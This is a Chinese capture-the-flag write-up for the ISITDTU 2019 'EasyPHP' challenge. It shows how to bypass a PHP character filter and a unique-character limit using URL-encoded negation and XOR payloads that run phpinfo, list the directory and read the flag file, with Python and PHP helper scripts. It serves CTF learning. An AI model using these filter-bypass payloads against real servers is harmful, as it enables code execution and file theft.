[ISITDTU 2019]EasyPHP
審計(jì)代碼得知,我們需要滿足兩個(gè)if語句,先看第一個(gè)if語句:
$_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');我們要get傳入_,并且php會對_進(jìn)行正則匹配,過濾的內(nèi)容很多,\x00(NULL)-\x20(Space)、數(shù)字0-9、字符`、"、$&等,有點(diǎn)像無字符數(shù)字rce,可以取反繞過,再看第二個(gè)if
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');strtolower()函數(shù):PHP strtolower() 函數(shù) | 菜鳥教程,就是將傳入的_轉(zhuǎn)換為小寫,count_chars()函數(shù):PHP count_chars() 函數(shù) | 菜鳥教程,count_chars(string,mode)根據(jù)mode的值檢查string中出現(xiàn)的字符串,在本題中mode=3,字符串,帶有所有使用過的不同的字符,例如:
而strlen()函數(shù)則是返回字符串的長度,在本題中檢查字符串的長度是否大于十三,如果字符串長度大于十三就die了。先使用取反來查看phpinfo():
<?php print(urlencode(~'phpinfo')); ?>輸出結(jié)果為%8F%97%8F%96%91%99%90,get傳值試一下
沒有回顯,換一種取反方式異或%FF,payload:/?_=((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();
成功回顯,查看一下禁用函數(shù)?
禁用了很多的函數(shù),但是我們?nèi)钥梢杂胹candir()、var_dump()、readfile()、print_r()等來查看目錄,并讀取flag,先print_r(scandir(.))輸出當(dāng)前目錄下的內(nèi)容
<?php echo(urlencode(~'print_r')); echo nl2br("\n"); echo(urlencode(~'scandir')); echo nl2br("\n"); echo(urlencode(~'.')); ?>輸出結(jié)果為:%8F%8D%96%91%8B%A0%8D %8C%9C%9E%91%9B%96%8D %D1,構(gòu)造payload:/?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));
有回顯,但是被第二層if給攔截了,一定是我們的payload沒有通過strlen(count_chars(strtolower($_), 0x3))的檢查,測試一下
<?php print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3))); ?>測試長度為16確實(shí)超出了規(guī)定范圍,這個(gè)時(shí)候我們可以使用異或的方法通過已存在的字符構(gòu)造出來字符來代替三個(gè)其中的字符,這樣長度就從16縮到了13,選擇使用pscadi來代替ntr,python腳本
str = 'pscadi' target = 'ntr'for m in target:for a in str:for b in str:for c in str:if ord(a) ^ ord(b) ^ ord(c) == ord(m):print("{} = {}^{}^{}".format(m, a, b, c))運(yùn)行出來很多結(jié)果,我們各取第一個(gè)即:n = c^d^i、t = s^c^d、r = p^c^a,替換后的
print_r:(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
scandir:(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
先檢驗(yàn)一下,腳本:
<?php print(urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); print("\n"); print(urldecode('%8C%9C%9E%9C%9B%96%9E')^urldecode('%FF%FF%FF%9B%FF%FF%9C')^urldecode('%FF%FF%FF%96%FF%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); ?>測試結(jié)果是正確的,直接就可以構(gòu)造新的payload:/?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
回顯成功,flag應(yīng)該在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt內(nèi),可以看到文件名太長了,而且還在數(shù)組的最后一位,很有可能會報(bào)錯(cuò),直接readfile(end(scandir(.))),構(gòu)造payload:/?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
測試一下:
<?php echo(urldecode('%8D%8D%8D%8D%8D%8D%9E%8D')^urldecode('%9A%8D%8D%8D%8D%8D%9B%8D')^urldecode('%9A%9A%9E%9B%99%96%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%8D%9E%8D')^urldecode('%8D%99%8D')^urldecode('%9A%96%9B')^urldecode('%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%8D%9E%8D%9E%8D%8D%8D')^urldecode('%9A%9B%8D%99%8D%8D%9A')^urldecode('%9B%99%9E%96%9B%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%D1')^urldecode('%FF')); ?>測試正確,get傳值就可以了?
總結(jié)
以上是生活随笔為你收集整理的[ISITDTU 2019]EasyPHP的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: openstack 安装并验证 Nova
- 下一篇: 【英语单词词汇笔记本】把英语常用常考的单